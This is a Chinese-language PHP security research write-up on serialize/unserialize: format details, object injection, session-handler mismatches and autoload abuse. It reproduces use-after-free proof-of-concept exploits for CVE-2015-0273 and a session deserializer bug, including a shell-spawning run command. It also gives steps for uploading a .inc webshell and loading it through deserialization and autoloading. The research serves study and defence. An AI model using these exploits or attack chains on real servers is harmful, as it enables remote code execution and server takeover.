PHP serialize && unserialize Security Risk Research
目录
1. 序列化的定义 2. serialize:序列化 3. unserialize:反序列化 4. 序列化、反序列化存在的安全风险 5. Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273] 6. PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231) 7. PHP多种序列化、反序列化处理机制不同导致对象注入 8. 序列化/反序列化在开源CMS上存在的漏洞 9. pch-031.md: Use After Free Vulnerabilities in Session Deserializer 10. 反序列化和PHP自动加载(__autoload()、spl_autoload_register())组合产生入侵向量
1. 序列化的定义
序列化在计算机科学中通常有以下定义:
1. 对同步控制而言,表示强制在同一时间内进行单一存取 2. 在数据储存与传送的部分是指将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等,或者透过网络传送资料时进行编码的过程,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间传送对象,以及服务器将对象储存到档案或数据库。相反的过程又称为反序列化
序列化有多个优点
1. 一个简单和持久的方法使对象持续 2. 一个发起远程过程调用的方法,例如在SOAP内的 3. 一个分发对象的方法,尤其是在如COM及CORBA的软件组件化内
Relevant Link:
http://zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96 http://baike.baidu.com/view/160029.htm
2. serialize:序列化
serialize: 产生一个可存储的值的表示
serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构
serialize() 可处理除了 resource 之外的任何类型,包括
1. 指向其自身引用的数组 2. serialize() 的数组/对象中的引用也将被存储(引用本身也会被序列化) 3. ...
从本质上来讲,序列化的过程是一个"对象(广义上的对象,包括integer、float、string、array、object)"进行"对象销毁",然后转换为一个通用的中间可存储字符串,在整个序列化过程中,对象经历的声明周期如下
1. __sleep(): 在执行对象销毁前获得执行权限 2. __destruct():执行实际的对象销毁操作
code
<?php class Connection { var $protected_var; var $private_var; public function __construct($server, $username, $password, $db) { echo "function __construct() is called" . "</br>"; $this->protected_var = "protected_var"; $this->private_var = "private_var"; } function __destruct() { echo "function __destruct() is called" . "</br>"; } public function __sleep() { echo "function __sleep() is called" . "</br>"; } public function __wakeup() { echo "function __wakeup() is called" . "</br>"; } } //initialize a var $obj = new Connection(); //var_dump($obj); $result = serialize($obj); //var_dump($result); unserialize($result); ?>
Relevant Link:
http://php.net/manual/zh/function.serialize.php http://php.net/manual/zh/language.oop5.magic.php#object.wakeup http://php.net/manual/zh/language.oop5.decon.php
0x1: 序列化字符串格式
1. a – array: 复合类型 2. b – boolean: 标量类型 3. d – double: 标量类型 4. i – integer: 标量类型 5. o – common object 6. r – reference: 对象引用 7. s – string: 标量类型 8. C – custom object: C 是 PHP5 中引入的,它表示自定义的对象序列化方式 9. O – class: 复合类型 10. N – null: N 表示的是 NULL 11. R – pointer reference: 指针引用 12. U – unicode string: U 是 PHP6 中才引入的,它表示 Unicode 编码的字符串。因为 PHP6 中提供了 Unicode 方式保存字符串的能力,因此它提供了这种序列化字符串的格式
0x2: NULL和标量类型的序列化
NULL和标量类型的序列化是最简单的,也是构成复合类型序列化的基础
1. NULL 的序列化 在 PHP 中,NULL 被序列化为: N; 2. boolean 型数据的序列化 boolean 型数据被序列化为: b:0; 或 b:1; 3. integer 型数据的序列化 integer 型数据(整数)被序列化为: i:-2147483648 ~ 2147483647; 数字前可以有正负号,如果被序列化的数字超过这个范围,则会被序列化为浮点数类型而不是整型。如果序列化后的数字超过这个范围(PHP 本身序列化时不会发生这个问题),则反序列化时,将不会返回期望的数值 4. double 型数据的序列化 double 型数据(浮点数)被序列化为:d:double float; 其范围与 PHP 中浮点数的范围一样。可以表示成整数形式、浮点数形式和科学技术法形式。如果序列化后的数字范围超过 PHP 能表示的最大值,则反序列化时返回无穷大(INF),如果序列化后的数字范围超过 PHP 所能表示的最小精度,则反序列化时返回 0 5.string 型数据的序列化 string 型数据(字符串)被序列化为:s:length:""; 前一个冒号中的是长度,是非负整数,数字前可以带有正号(+)。后面的冒号中为字符串值,这里的每个字符都是单字节字符,其范围与 ASCII 码的 0 – 255 的字符相对应。每个字符都表示原字符含义,没有转义字符, 两边的引号("")是必须的,但不计算在长度当中
0x3: 简单复合类型的序列化
1. 数组序列化: a:2:{i:0;s:6:"prefix";s:7:"payload";s:6:"attack";} 1) a:2表示数组元素的个数 2) i:0表示数组元素的下标 3) s:6:"prefix"表示与下标对应的数组元素的值 4) s:7:"payload"表示数组下标payload 5) s:6:"attack"表示对应下标的值 2. 对象序列化: O:3:"Foo":4:{s:4:"var1";i:1;s:4:"var2";i:2;s:7:"*var3";i:3;s:9:"Foovar4";i:4;} 1) O:3:"Foo": 代表对象的类名长度,以及类名字符串 2) :4: 代表该对象有4个成员 3) var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号 $ 4) protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符,而不是 \0 组合 5) private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类 //字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的
0x4: 嵌套复合类型的序列化
在PHP中,复合类型数据(对象和数组)是引用传递的,但是引用传递也分为两类
1. 对象引用: 普通的符合类型数据赋值就是对象引用 2. 指针引用: 赋值对象前加上&的赋值就是指针引用
看下面的例子
<?php class SampleClass { var $value; } $a = new SampleClass(); $a->value = $a; $b = new SampleClass(); $b->value = &$b; $a->value = 1; $b->value = 1; var_dump($a); var_dump($b); ?>
改变 $a->value 的值仅仅是改变了 $a->value 的值,而改变 $b->value 的值却改变了 $b 本身,这就是对象引用和指针引用的区别
0x5: 引用标示后的数字
对象引用(r)和指针引用(R)的格式为
r:number;
R:number;
这个number,就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类型)的位置
<?php class ClassA { var $int; var $str; var $bool; var $obj; var $pr; } $a = new ClassA(); $a->int = 1; $a->str = “Hello”; $a->bool = false; $a->obj = $a; $a->pr = &$a->str; echo serialize($a); ?>
1. 在这个例子中,首先序列化的对象是 ClassA 的一个对象,那么给它编号为 1 2. 接下来要序列化的是这个对象的几个成员,第一个被序列化的成员是 int 字段,那它的编号就为 2 3. 接下来被序列化的成员是 str,那它的编号就是 3 4. 依此类推,到了 obj 成员时,它发现该成员已经被序列化了,并且编号为 1,因此它被序列化时,就被序列化成了 r:1; 5. 在接下来被序列化的是 pr 成员,它发现该成员实际上是指向 str 成员的一个引用,而 str 成员的编号为 3,因此,pr 就被序列化为 R:3; 了
PHP 是如何来编号被序列化的对象的呢
1. PHP 在序列化时,首先建立一个空表 2. 然后每个被序列化的对象在被序列化之前,都需要先计算该对象的 Hash 值,然后判断该 Hash 值是否已经出现在该表中了 3. 如果没有出现,就把该 Hash 值添加到这个表的最后,返回添加成功 4. 如果出现了,则返回添加失败,但是在返回失败前先判断该对象是否是一个引用(用 & 符号定义的引用),如果不是则也把 Hash 值添加到表后(尽管返回的是添加失败) 5. 如果返回失败,则同时返回上一次出现的位置 6. 在添加 Hash 值到表中之后,如果添加失败,则判断添加的是一个引用还是一个对象,如果是引用,则返回 R 标示,如果是对象,则返回 r 标示。因为失败时,会同时返回上一次出现的位置,因此,R 和 r 标示后面的数字,就是这个位置
0x6: 对象引用的反序列化
PHP 在反序列化处理对象引用时很有意思,如果反序列化的字符串不是 PHP 的 serialize() 本身生成的,而是人为构造或者用其它语言生成的,即使对象引用指向的不是一个对象,它也能正确地按照对象引用所指向的数据进行反序列化
<?php class StrClass { var $a; var $b; } $a = unserialize('O:8:"StrClass":2:{s:1:"a";s:5:"Hello";s:1:"b";r:2;}'); var_dump($a); ?>
大家会发现,上面的例子反序列化后,$a->b 的值与 $a->a 的值是一样的,尽管 $a->a 不是一个对象,而是一个字符串。因此如果大家用其它语言来实现序列化的话,不一定非要把 string 作为标量类型来处理,即使按照对象引用来序列化拥有相同字符串内容的复合类型,用 PHP 同样可以正确的反序列化。这样可以更节省序列化后的内容所占用的空间
3. unserialize:反序列化
从已存储的表示中创建 PHP 的值
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值
在反序列化中,经历的对象声明周期为
1. __construct():执行对象注册、包括对象中成员的注册 2. __wakeup:在构造函数执行后获得执行权限
Relevant Link:
http://php.net/manual/zh/function.unserialize.php
4. 序列化、反序列化存在的安全风险
0x1: 对象注入
<?php #GOAL: get the secret; class just4fun { var $enter; var $secret; } if (isset($_GET['pass'])) { $pass = $_GET['pass']; if(get_magic_quotes_gpc()) { $pass=stripslashes($pass); } $o = unserialize($pass); if ($o) { $o->secret = "?????????????????????????????"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$o->secret; else echo "Oh no... You can't fool me"; } else echo "are you trolling?"; } ?>
serialize一个just4fun的对象,序列化之前先进行引用赋值
$o->enter = &$o->secret
0x2: PHP Session 序列化及反序列化处理器
http://drops.wooyun.org/tips/3909
0x3: 基于序列化、反序列化的Webshell隐藏技巧
http://www.cnblogs.com/LittleHann/p/3522990.html 搜索:0x22: PHP的序列化、反序列化特性布置后门
Relevant Link:
http://drops.wooyun.org/papers/660
5. Use After Free Vulnerability in unserialize() with DateTime [CVE-2015-0273]
A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
0x1: Affected Versions
Affected is PHP 5.6 < 5.6.6 Affected is PHP 5.5 < 5.5.22 Affected is PHP 5.4 < 5.4.38 Affected is PHP 5.3 <= 5.3.29
0x2: 漏洞源代码分析
\php-src-master\ext\date\php_date.c
static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht) { zval *z_date; zval *z_timezone; zval *z_timezone_type; zval tmp_obj; timelib_tzinfo *tzi; php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-1); if (z_date) { convert_to_string(z_date); z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1); if (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1); if (z_timezone) { convert_to_string(z_timezone); ...
The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
0x3: poc
<?php $f = $argv[1]; $c = $argv[2]; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>
gdb php
run uafpoc.php assert "system\('sh'\)==exit\(\)"
Relevant Link:
https://github.com/80vul/phpcodz/tree/master/research
6. PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)
待研究
Relevant Link:
http://drops.wooyun.org/papers/4864
7. PHP多种序列化、反序列化处理机制不同导致对象注入
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式
1. php: 键名 | 经过 serialize() 函数反序列处理的值 2. php_binary: 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 3. php_serialize(php>=5.5.4): 经过 serialize() 函数反序列处理的数组
0x1: ini_set("session.serialize_handler", "php");
0x2: ini_set("session.serialize_handler", "php_serialize");
0x3: ini_set("session.serialize_handler", "php_binary");
0x4: 安全隐患
构造通过ini_set("session.serialize_handler", "php_serialize");方式生成的SESSION本地化文件
D:\wamp\tmp a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}
然后通过PHP默认的ini_set("session.serialize_handler", "php");方式从磁盘上load这个SESSION文件
<?php session_start(1); ini_set("session.serialize_handler", "php"); var_dump($_SESSION); ?>
造成反序列化对象注入
Relevant Link:
http://drops.wooyun.org/tips/3909
8. 序列化/反序列化在开源CMS上存在的漏洞
Relevant Link:
http://drops.wooyun.org/papers/596
9. pch-031.md: Use After Free Vulnerabilities in Session Deserializer
Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
<?php session_start(1); $fakezval = ptr2str(1122235); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}'; //$exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;'; session_decode($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($_SESSION); function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>
When session deserializer (php/php_binary) deserializing multiple data it will call to php_var_unserialize() multiple times. So we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, and also free the memory (reduce the reference count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two identical session data, then the next call to php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
In some other cases, session deserializer (php/php_binary/php_serialize) may also lead to use-after-free vulnerabilities: i) via crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload().
Relevant Link:
https://github.com/80vul/phpcodz/blob/master/research/pch-031.md
待研究
http://www.ptsecurity.com/upload/iblock/dac/daca495893852753dac1d0b17f51df19.pdf https://sektioneins.de/en/blog/14-08-27-unserialize-typeconfusion.html
10. 反序列化和PHP自动加载(__autoload()、spl_autoload_register())组合产生入侵向量
0x1: spl_autoload_register自身存在的binary漏洞
<?php $buffer = str_repeat("A",9999); spl_autoload_register($buffer); ## Or.. # spl_autoload_register($buffer,1,1); #Should work too. ?>
0x2: __autoload() —— 自动加载函数
__autoload — 尝试加载未定义的类,可以通过定义这个函数来启用类的自动加载
//创建class文件夹,分别创建3个类库文件 <?php //class1.class.php中 class class1{ public function __construct(){ echo "class1"; } } ?> <?php //class2.class.php中 class class2{ public function __construct(){ echo "class2"; } } ?> <?php //class3.class.php中 class class3{ public function __construct(){ echo "class3"; } } ?>
index.php文件中写入
<?php function __autoload($classname){ $filename = "./class/".$classname.".class.php"; if(is_file($filename)){ include $filename; } } $test1 = new class1(); echo '<br/>'; $test1 = new class2(); echo '<br/>'; $test1 = new class3(); //结果是 //class1 //class2 //class3 ?>
PHP自动加载了class下面所有的要加载的类
0x3: spl_autoload_register() —— 注册__autoload()函数
spl_autoload_register()本质上和__autoload()是一致的,区别在于spl_autoload_register只要运行注册一次即全局有效,不需要在每个单独的文件中都声明__autoload()
<?php // 写一个loadclass函数 // loadclass函数不具备自动加载类的功能 function loadclass($classname){ $filename = "./class/".$classname.".class.php"; if(is_file($filename)){ include $filename; } } // spl_autoload_register()函数让这个loadclass具备了自动加载类的功能 spl_autoload_register("loadclass"); $test1 = new class1(); echo '<br/>'; $test1 = new class2(); echo '<br/>'; $test1 = new class3(); ?>
0x4: 入侵向量
1. 反序列化注入一个注入点当前代码空间没有的类
1. 如果存在反序列化注入的文件加载的class很有限,当前代码空间并不包含可以进行代码执行、或文件写入的函数 2. 如果目标CMS或者框架使用了spl_autoload_register()自动加载机制,可以直接注入一个当前代码控制不存在的class 3. 在反序列化对象重建的时候,PHP会帮我们自动加载引入所需的class
2. 利用自动类加载机制绕过上传限制
1. spl_autoload_register函数有个特点,如果不指定处理用的函数,就会自动包含"类名.php"或"类名.inc"的文件,并加载其中的"类名"类 2. 如果目标框架对上传文件进行了重命名(例如MD5),或者不进行重命名且我们能知道上次后的文件名 3. 上传webshell,后缀为.inc,被重命名为xxxx.inc 4. 序列化一个类名为xxxx的类对象,生成payload后,发送给目标服务器 5. 服务器反序列化这个字符串后,将会自动加载xxxx类,由于之前spl_autoload_register函数注册的方法,会自动加载xxxx.inc,从而造成文件包含漏洞,getshell成功
Relevant Link:
http://honkwin.com/show/1962.html http://php.net/manual/zh/function.autoload.php http://my.oschina.net/alexskywinner/blog/92737 http://drops.wooyun.org/tips/10564
Copyright (c) 2014 LittleHann All rights reserved